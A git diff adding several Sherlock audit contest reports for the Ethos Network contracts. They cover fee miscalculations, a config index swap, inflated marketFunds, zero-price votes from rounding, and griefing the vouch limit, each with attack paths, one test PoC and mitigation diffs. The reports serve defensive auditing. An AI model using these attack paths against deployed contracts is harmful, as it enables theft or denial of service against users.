fee = total - (total * 10000 / (10000 + feeBasisPoints)) +*/ +return total - (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); +} +``` + +This formula calculates the fee based on the total amount, leading to a higher effective fee percentage than intended. +The ` deposit ` here is after deducting all the fees . but as all the fees are calculated separately , the `deposit `calcualated in this formula is actually larger then the actual deposit . +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975 + +Example Scenario : +1. user wants to increase a vouch to 100 token ( lets assume all fees are at 5% in `applyfees()` . user calculates 15% of deposit = 15 tokens . So , he deposits 115 tokens in total to increase the vouch balance by 100 token . +2. In `applyFees` function , in each `calcFee` call , returned value is 5.47619 tokens . So , total fee is 16.42857 tokens. +3. This increases the vouch balance by approximately 98.571428 tokens not 100 . + +- **Expected Behavior**: If a user wants to increase a vouch 115 tokens with a total fee of 15% (5% each for three fees(assumed for simplicity)), the vouch balance should be 100 tokens. +- **Actual Behavior**: The formula calculates each fee as approximately 5.47619 tokens, resulting in a total fee of approximately 16.42857 tokens. + +### Impact +- Users receive less vouch balance than expected +- Potential financial loss for users due to higher-than-expected fees + +### Mitigation +while calculating , all of the fees should be calculated together first with one single call to `calcFee` , then they should be separated and sent to desired addresses . +Otherwise , devs should re-think the current formula . diff --git a/318.md b/318.md new file mode 100644 index 0000000..ad1cfd7 --- /dev/null +++ b/318.md @@ -0,0 +1,215 @@ +Keen Scarlet Aardvark + +Medium + +# User creates market during a configuration change can end up in a wrong market + +### Summary + +Anyone can create a market for a profile in a specific configuration via [`ReputationMarket::createMarket`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L281). + + +```javascript + + +function createMarketWithConfig(uint256 marketConfigIndex) public payable whenNotPaused { + uint256 senderProfileId = _getProfileIdForAddress(msg.sender); + + + // Verify sender can create market + if (enforceCreationAllowList && !creationAllowedProfileIds[senderProfileId]) { + revert MarketCreationUnauthorized( + MarketCreationErrorCode.PROFILE_NOT_AUTHORIZED, + msg.sender, + senderProfileId + ); + } + _createMarket(senderProfileId, msg.sender, marketConfigIndex); +} + + +``` +However, such creation relies only on the value of `marketConfigIndex`. This index may change if the `marketConfigs` array is updated via [`removeMarketConfig`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L389). As a consequence, any market creation transaction that is validated after the removal of a market config can end up in an unexpected configuration or be reverted. + +### Root Cause + +The `createMarketWithConfig` function puts too much trust on an index of the `marketConfigs` array to determine the market configuration. However, such indexes can be updated at any moment. + + +```javascript + + +function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) { + revert InvalidMarketConfigOption("Must keep one config"); + } + + + // Check if the index is valid + if (configIndex >= marketConfigs.length) { + revert InvalidMarketConfigOption("index not found"); + } + + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + + // If this is not the last element, swap with the last element + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; // @audit the configIndex is now the last index + } + + + // Remove the last element + marketConfigs.pop(); + } + + +``` + + +As depicted in the function `removeMarketConfig`, any removal of an index that's in the middle of the array `marketConfigs`, will assign such index to the last one. The market configuration for the same index is now different to what is expected by a user. + +### Internal pre-conditions + +The market configuration array `marketConfigs` gets updated (removal in the middle) by an admin via `removeMarketConfig`. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Among the market creation requests on an index except the last index, an admin initiates a transaction to remove such index for some reasons. +2. All market creation requests on such an index will create an unexpected market for a profile or be reverted. + +### Impact + +Users see their market creations turn out to be created on a wrong market configuration or fail unexpectedly if the provided fund is insufficient. + +### PoC + +- Prepare a new UserB for the test: + +```diff + +describe('ReputationMarket Creation Config', () => { + let deployer: EthosDeployer; + let userA: MarketUser; ++ let userB: MarketUser; + let ethosUserA: EthosUser; ++ let ethosUserB: EthosUser; + let reputationMarket: ReputationMarket; + + beforeEach(async () => { +@@ -18,9 +20,13 @@ describe('ReputationMarket Creation Config', () => { + throw new Error('ReputationMarket contract not found'); + } + ethosUserA = await deployer.createUser(); ++ ethosUserB = await deployer.createUser(); + await ethosUserA.setBalance('2000'); ++ await ethosUserB.setBalance('3000'); // give UserB a little more of balance + + userA = new MarketUser(ethosUserA.signer); ++ userB = new MarketUser(ethosUserB.signer); + +``` + +- This test case can be appended inside the suite `describe('Market Creation with Config'` in the file `rep.config.test.ts`: + + +```javascript + + +it('should create market in a wrong configuration due to market configuration removal', async () => { + const config1 = await reputationMarket.marketConfigs(1); + // UserA creates a market config for the config index 1 + await reputationMarket.connect(userA.signer).createMarketWithConfig(1, { + value: config1.initialLiquidity, + }); + + + // Admin removes the market config of index 1 before UserB action + const configsBefore = await reputationMarket.marketConfigs(1); + await reputationMarket.connect(deployer.ADMIN).removeMarketConfig(1); + const configsAfter = await reputationMarket.marketConfigs(1); + // Should now have the last config in this position + expect(configsAfter.initialVotes).to.not.equal(configsBefore.initialVotes); + + + // UserB also wants to create a market for the config index 1 + // However, he's not aware that it's not his expected market configuration anymore + await reputationMarket.connect(userB.signer).createMarketWithConfig(1, { + value: configsAfter.initialLiquidity, + }); +}); + + +``` + + +- Then, run the test with the command `NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test --grep "wrong configuration"`, which will return the following output: + + +```text + + +ReputationMarket Creation Config + Market Creation with Config + ✔ should create market in a wrong configuration due to market configuration removal + + + + + 1 passing (1s) +``` + + +### Mitigation + + +There can be two approaches to fix this issue: +- Any market configuration removal is recommended to be done only when the protocol is paused. +The following diff can be applied on the function `removeMarketConfig`: + + +```diff + + +- function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { ++ function removeMarketConfig(uint256 configIndex) public onlyAdmin whenPaused { + // Cannot remove if only one config remains + if (marketConfigs.length <= 1) { + revert InvalidMarketConfigOption("Must keep one config"); + } + + + // Check if the index is valid + if (configIndex >= marketConfigs.length) { + revert InvalidMarketConfigOption("index not found"); + } + + + emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + + + // + uint256 lastIndex = marketConfigs.length - 1; + if (configIndex != lastIndex) { + marketConfigs[configIndex] = marketConfigs[lastIndex]; + } + + + // Remove the last element + marketConfigs.pop(); + } + + +``` +- The market creation should not be based only on the market configuration index. The protocol can introduce an unique identifier for a market when introducing a new configuration. + + + + diff --git a/319.md b/319.md new file mode 100644 index 0000000..08e0538 --- /dev/null +++ b/319.md @@ -0,0 +1,55 @@ +Thankful Lipstick Bull + +Medium + +# Wrong calculation of entry fees leads to overpayment of fees + +### Summary + +Wrong calculation of protocol fees and donations in `buyVotes()` function leads to overpayment of fees for user calling this function. + +### Root Cause + +[Link](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1145-L1147) +Entry fees are calculated based on amount provided in `previewFees()`: +```solidity + if (isEntry) { + protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; +``` +The issue is that amount is `msg.value`, not the price of the votes bought by the user: +```solidity + ) = _calculateBuy(markets[profileId], isPositive, msg.value); +``` +For example, in `_calculateSell()` fees are calculated after the function calculates votes price - and fees are always N% of the price. +But due to dynamic nature of vote prices, user will provide too big `msg.value`, and if votes price is smaller than ETH sent, user receives refund. + +Even if refund = 0, fees anyway will be bigger than should, because `msg.value` >= votes price + entry fees. Users cannot avoid overpaying of entry fees by providing "correct" `msg.value`, because there is internal check in `_calculateBuy()`. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +- Amelie wants to buy 100 votes and calls `buyVotes()`, `msg.value` = 100 ETH; +- Votes price = 50 ETH, but fees are calculated based on `msg.value` and = 10 ETH (assume `protocolFee` = 5% and `donation` = 5%), which is 20% of the amount Amelie paid, not 10% as expected in README; +- Amelie pays 60 ETH, refund = 40 ETH. + +But if fees were calculated based on votes price (like in `sellVotes()`), then Amelie would pay 55 ETH (5 ETH = 10% of votes price). + +### Impact + +Users will always overpay entry fees. + +### PoC + +_No response_ + +### Mitigation + +Calculate entry fees in the end of `_calculateBuy()` based on votes price. \ No newline at end of file diff --git a/320.md b/320.md new file mode 100644 index 0000000..b85d61d --- /dev/null +++ b/320.md @@ -0,0 +1,246 @@ +Custom Foggy Pike + +Medium + +# `ReputationMarket.buyVotes()` adds the protocol and donation fees to the `marketFunds` which would result in draining the contract funds when a market is graduated + +### Summary + +`ReputationMarket.buyVotes()` adds the fees paid for the protocol and the donation fees to the `marketFunds` of a market instead of adding the votes price only, which would result in draining the contract funds when a market is graduated and its funds are withdrawn via `ReputationMarket.withdrawGraduatedMarketFunds()`, as the graduation admin will receive the saved `marketFunds` of the market which is more than the actual market funds by the amount of protocol fees and donation fees calculated for each votes purchase. + +### Root Cause + +`ReputationMarket.buyVotes()` [incorrectly](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L481) adds the fees paid for the protocol and the donation fees to the `marketFunds` of a market instead of adding the votes price only: + +```javascript + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + + applyFees(protocolFee, donation, profileId); + //... + + // tally market funds + // @audit-issue : `applyFees()` will SEND the fees for the protocol treasury and the market owner, so these fees are paid and shouldn't be counted in the marketFunds + marketFunds[profileId] += fundsPaid; + //... + } +``` + +### Internal pre-conditions + +- Users call `ReputationMarket.buyVotes()` to buy trust/distrust votes from a market, where they determine the minimum amount of votes they wish to receive along with an amount of native tokens (`msg.value`): + +```javascript + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + + applyFees(protocolFee, donation, profileId); + //... + + // tally market funds + marketFunds[profileId] += fundsPaid; + //... + } +``` + +- [`_calculateBuy()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L978) function **returns the `fundsPaid` that represents the price of votes + protocol fees + donation fees**, where these fees are sent to the intended destinations via [`applyFees()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116C3-L1127C4). + +```javascript +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +- So for each purchase, there's: + - a protocol fee that is calculated as a percentage of the `msg.value` (via `_calculateBuy()`) and sent to the protocol treasury via [`applyFees()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116C3-L1127C4). + - a donation fee that is calculated as a percentage of the `msg.value` (via `_calculateBuy()`) and sent to the market's donation recipient via [`applyFees()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L1116C3-L1127C4). + +```javascript +function applyFees( + uint256 protocolFee, + uint256 donation, + uint256 marketOwnerProfileId + ) private returns (uint256 fees) { + donationEscrow[donationRecipient[marketOwnerProfileId]] += donation; + if (protocolFee > 0) { + (bool success, ) = protocolFeeAddress.call{ value: protocolFee }(""); + if (!success) revert FeeTransferFailed("Protocol fee deposit failed"); + } + fees = protocolFee + donation; + } +``` + +- After these fees are calculated and sent to the intended parties, the remaining amount of the `fundsPaid` **should** represent the price of the bought votes, and this value should be assigned to the `marketFunds[profileId]`, but it was noticed that the total amount of the `fundsPaid` is assigned to the `marketFunds[profileId]`, which is incorrect **as the protocol fees and donation fees are sent out and should be deducted from the `fundsPaid` before adding it to the marketFunds**: + +```javascript + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + + applyFees(protocolFee, donation, profileId); + //... + + // tally market funds + // @audit-issue : `applyFees()` will SEND the fees for the protocol treasury and the market owner, so these fees are paid and shouldn't be counted in the marketFunds + marketFunds[profileId] += fundsPaid; + //... + } +``` + +- This will result in saving a marketFunds larger than the actual received market funds, which will create an issue when a market is graduated, as [the saved `marketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) will be sent to the graduation admin , resulting in draining the funds for other markets, hence draining the contract funds with each graduated market: + +```javascript +function withdrawGraduatedMarketFunds(uint256 profileId) public whenNotPaused { + //... + _sendEth(marketFunds[profileId]); + emit MarketFundsWithdrawn(profileId, msg.sender, marketFunds[profileId]); + marketFunds[profileId] = 0; + } +``` + + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Users buys votes from a market, the `marketFunds[profileId]` saves the **total amount paid by the buyers** without deducting the protocol and donation fees that have been sent out. +2. A market is graduated (marked as inactive for trading). +3. The graduation admin calls `withdrawGraduatedMarketFunds()` to withdraw the funds from the graduated market, but the funds sent out to him will be larger than the actual marketFunds (larger than the bought votes price by the protocol and donation fees calaculated for each purchase). + +### Impact + +The locked native tokens in the contract are less than the recorded total funds for all markets, and by graduating each market and withdrawing its funds; the contract funds are drained until it reaches a state where the remaining active markets funds are insufficient to pay for selling votes as the contract balance is less than recorded (the sum of the `marketFunds` of all active markets). + +### PoC + +_No response_ + +### Mitigation + +Deduct the protocol and donation fees from the `fundsPaid` before adding it to the market funds: + +```diff + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + + applyFees(protocolFee, donation, profileId); + //... + + // tally market funds +- marketFunds[profileId] += fundsPaid; ++ marketFunds[profileId] += fundsPaid - protocolFee - donation; + //... + } +``` \ No newline at end of file diff --git a/321.md b/321.md new file mode 100644 index 0000000..69dd809 --- /dev/null +++ b/321.md @@ -0,0 +1,108 @@ +Custom Foggy Pike + +Medium + +# `ReputationMarket.buyVotes()` : users can buy votes for zero price when the market has a large difference between the trust and distrust votes (has higher votes for one type than the other type), due to rounding down in `_calcVotePrice()` + +### Summary + +`ReputationMarket._calcVotePrice()` can return a zero price for a vote if the other vote type is much greater than the bought type , ex: a market with trust votes much greater than the distrust votes results in calculating zero price for distrust votes. + +### Root Cause + +The sum of trust vote + distrust vote should equal to the `market.basePrice`, but due to rounding down in price calculation in [`_calcVotePrice()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L922) (truncation); vote price of the less bought type can be zero. + +### Internal pre-conditions + +- `ReputationMarket.buyVotes()` enables users to buy votes from an active market, where they send their txn with a `msg.value`, then the protocol fees and donation fees are calculated as percentages from the sent `msg.value`, then the remaining amount is used to buy votes. +- The calculation of fees and number of bougth votes are handled by [`_calculateBuy()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942): + +```javascript +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +- `_calcVotePrice()` is called in each loop to calculate the updated vote price, where the price of the vote that's going to be bought will increase with each loop: + +```javascript + function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; + } +``` + +- As can be noticed, the price of a vote type depends on the number of that type and the total votes of both types, so if there's a market with 100 trust votes and 5 distrust votes, and assuming the `basePrice` is 10, then: +- the price of trust vote = `100 * 10 / (100+5) = 9` (9.52 rounded down to 9) +- the price of distrust vote = `5 * 10 / (100+5) = 0` (0.47 rounded down to 0) + +So there are two issues with this function: + +- it can return a zero vote price if the bought vote is of the lesser bought type. +- the sum of trust vote + distrust vote price doesn't sum-up to the `market.basePrice` due to rounding down. + +- So with this truncation on price (due to rounding-down); the total price of bought trust votes + the total price of the bought distrust votes will be **less than** the total number of bought votes (excluding initial votes) \* basePrice. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Users buying from a market that has heavy votes on one side (trust or distrust) can buy votes of the other type (the less bought type) with zero price. +2. Then these users can sell their votes when the vote type they bought increased, so that they can make a profit from selling these votes without actually paying any price when they bought it. + + +### Impact + +- Users buying from a market that has heavy votes on one side (trust or distrust) can buy votes of the other type (the lesser bought type) with zero price -to some extent- (as long as the less bought vote type price rounds down to zero), so users can profit from this by selling their zero-price votes with higher price when that bought type votes increase. + +### PoC + +_No response_ + +### Mitigation + +Update `_calcVotePrice()` to ensure that the sum of trust + distrust vote adds up to `basePrice`, so that users can't buy votes of the less bought type with zero (lesser) price, so as per the aforementioned given example: + +- the price of trust vote = `100 * 10 / (100+5) = 9` (9.52 rounded down to 9). +- the price of distrust vote = `10 - price of trust vote = 10 - 9 = 1`. \ No newline at end of file diff --git a/322.md b/322.md new file mode 100644 index 0000000..dfa7687 --- /dev/null +++ b/322.md @@ -0,0 +1,96 @@ +Lively Red Skunk + +Medium + +# Ability to Grief The Spesific SubjectId + +### Summary + +Low `configuredMinimumVouchAmount` will cause new vouch can't be created for honest user because the maximum vouch has been created with malicious address. + + +### Root Cause + +As the contract says: + +> @notice Represents a trust relationship between profiles backed by staked ETH, where one profile (author) +> vouches for another profile (subject). The stake amount represents the magnitude of trust, making +> credibility a function of stake value rather than number of vouchers. + +It says that this vouch mechanism is purposed to represents a trust relationship with total stake value than number of vouchers. Total staked value in this case is a vital part of the mechanism. However, the total author to participate is limited to 256. + +In the constructor `configuredMinimumVouchAmount` is set to 0.0001 ETH. This means that anyone could call `EthosVouch::vouchByProfileId` and create a vouch for spesific subject id with 0.0001 ETH. This means that anyone could fullfilled the max amount of participation including some malicious actor. This scenario will leads to new vouch in upcoming time unable to be created. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L372 + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L380 + +```solidity + function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + _; + + // you may not vouch for archived profiles + // however, you may vouch for verified AND mock profiles + // we allow vouching for mock profiles in case they are later verified + if (archived || (!mock && !verified)) { + revert InvalidEthosProfileForVouch(subjectProfileId); + } + + // one vouch per profile per author + _vouchShouldNotExistFor(authorProfileId, subjectProfileId); + + // don't exceed maximum vouches per subject profile + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } + + // must meet the minimum vouch amount + // @f user could grief the maxVouch due to low configuredMinimumVouchAmount +@> if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + + _; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. `EthosVouch::vouchByProfileId` has been called. +2. Malicious actor created 255 new address and called `EthosVouch::vouchByProfileId`. +3. Honest user will unable to vouch to this spesific subject id due to `vouchIdsForSubjectProfileId[subjectProfileId].length` has reached the maximum length. + +### Impact + +> Core Philosophy: +> Long-standing mutually beneficial relationships are the best indicators of trust + +Since the trust is affected by long-standing relationships, then this grief will lead to new relationship can't be created. + +New vouch in upcoming time unable to be created. This will impact badly if the protocol rely on the vouch including the amount. + +### PoC + +_No response_ + +### Mitigation + +1. Increase the `configuredMinimumVouchAmount` to bigger amount of ETH. +2. Increase the `maximumVouches`. diff --git a/323.md b/323.md new file mode 100644 index 0000000..8911886 --- /dev/null +++ b/323.md @@ -0,0 +1,160 @@ +Custom Foggy Pike + +Medium + +# `ReputationMarket.buyVotes()` : protocol and donation fees are calculated based on the total sent tokens (`msg.value`) instead of calculating it based on the total price of the bought votes + +### Summary + +`ReputationMarket.buyVotes()` function charges buyer for protocol and donation fees based on the total sent tokens (`msg.value`) instead of the total price of the bought votes, which will result in users buying more fees for the protocol and donation. + +### Root Cause + +This is caused by the currently implemented mechanism to **calculate fees first** based on the sent tokens (`msg.value`), instead of calculating these fees based on the price of the bought votes. + + +### Internal pre-conditions + +- `ReputationMarket.buyVotes()` enables users to buy votes from an active market, where they send their txn with a `msg.value`, then the protocol fees and donation fees are calculated as percentages from the sent `msg.value`, then the remaining amount is used to buy votes. + +- The calculation of fees and number of bougth votes are handled by [`_calculateBuy()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942): + +```javascript +function _calculateBuy( + Market memory market, + bool isPositive, + uint256 funds + ) + private + view + returns ( + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + uint256 votePrice = _calcVotePrice(market, isPositive); + + uint256 minPrice = votePrice; + uint256 maxPrice; + + if (fundsAvailable < votePrice) { + revert InsufficientFunds(); + } + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + fundsPaid += protocolFee + donation; + + maxPrice = votePrice; + + return (votesBought, fundsPaid, votePrice, protocolFee, donation, minPrice, maxPrice); + } +``` + +where: + +```javascript + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { + protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation; + } +``` + +- As can be noticed, the protocol and donation fees are first deducted from the `msg.value`, then the remaining amount is used to buy votes, and if there's any remaining tokens that are not enogh to buy a vote; it will be [refunded](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L477C3-L478C38) to the buyer: + +```javascript + function buyVotes( + uint256 profileId, + bool isPositive, + uint256 expectedVotes, + uint256 slippageBasisPoints + ) public payable whenNotPaused activeMarket(profileId) nonReentrant { + _checkMarketExists(profileId); + + // Determine how many votes can be bought with the funds provided + ( + uint256 votesBought, + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + _checkSlippageLimit(votesBought, expectedVotes, slippageBasisPoints); + + // Apply fees first + applyFees(protocolFee, donation, profileId); + + // Update market state + markets[profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + votesOwned[msg.sender][profileId].votes[isPositive ? TRUST : DISTRUST] += votesBought; + + // Add buyer to participants if not already a participant + if (!isParticipant[profileId][msg.sender]) { + participants[profileId].push(msg.sender); + isParticipant[profileId][msg.sender] = true; + } + + // Calculate and refund remaining funds + uint256 refund = msg.value - fundsPaid; + if (refund > 0) _sendEth(refund); + + // tally market funds + marketFunds[profileId] += fundsPaid; + emit VotesBought( + profileId, + msg.sender, + isPositive, + votesBought, + fundsPaid, + block.timestamp, + minVotePrice, + maxVotePrice + ); + _emitMarketUpdate(profileId); + } +``` + + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The current implemented mechanism charges fees on the total sent amount instead of charging it based on the number of bought votes, which will result in buyers paying more fees for the protocol and donation, and as a result of that they will **receive less votes than their actual tokens can get**. + +### PoC + +_No response_ + +### Mitigation + +Update the current fees charging mechanism to charge the protocol fees and donation fees **based on the price of the bought votes** instead of calculating it based on the total sent `msg.value`. \ No newline at end of file diff --git a/324.md b/324.md new file mode 100644 index 0000000..b335cd2 --- /dev/null +++ b/324.md @@ -0,0 +1,100 @@ +Hidden Magenta Wallaby + +Medium + +# Missing Checks in "_depositProtocolFee" function + +# Audit Report for `_depositProtocolFee` Function + +## Summary +The `_depositProtocolFee` function is intended to deposit the protocol fee into a specified address in the `EthosVouch.sol` file. However, it lacks checks to ensure that the contract has enough balance to cover the requested transfer. This missing check can lead to failures in transferring fees if the contract's balance is insufficient. + +- **File and Line Number:** + [EthosVouch.sol#L883](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L883) + +### Example of Risk +The missing check in `_depositProtocolFee` will cause a failed transfer if the contract balance is less than the required `amount`, leading to a revert with no proper feedback to the caller. + +--- + +## Root Cause +In the current implementation of the `_depositProtocolFee` function, no check is performed to verify that the contract has enough balance to cover the `amount`. This absence of validation can result in a failed transfer and the subsequent revert of the transaction. + +- **Location of issue:** + `_depositProtocolFee(uint256 amount)` function in `EthosVouch.sol`. +- **Cause of the issue:** + The function attempts to send a fee without ensuring that the contract has the required balance, which can result in the transaction failing. + +--- + +## Internal Pre-conditions +To ensure the safe execution of `_depositProtocolFee`, the following internal pre-conditions should be met: +1. Ensure the contract has sufficient balance to cover the requested fee amount. +2. Proper error handling should be added to detect and manage any cases of insufficient balance. + +--- + +## External Pre-conditions +Although `_depositProtocolFee` is an internal function, it is essential that the caller ensures the contract has enough funds to process the fee deposit before invoking the function. Without this check, the contract could fail during execution, which is a risky design choice. + +--- + +## Attack Path +If the `_depositProtocolFee` function is called without sufficient funds in the contract: +1. The function attempts to transfer the specified fee (`amount`) to `protocolFeeAddress`. +2. The transfer will fail, and the transaction will be reverted, with no feedback provided about the underlying issue. + +--- + +## Impact +- **The protocol suffers a failed transaction due to insufficient funds.** + - The attacker or any user calling this function will face a failed transaction, leading to a potential denial of service or a wasted transaction attempt. + - There is no feedback or fail-safe to handle this situation, which may cause 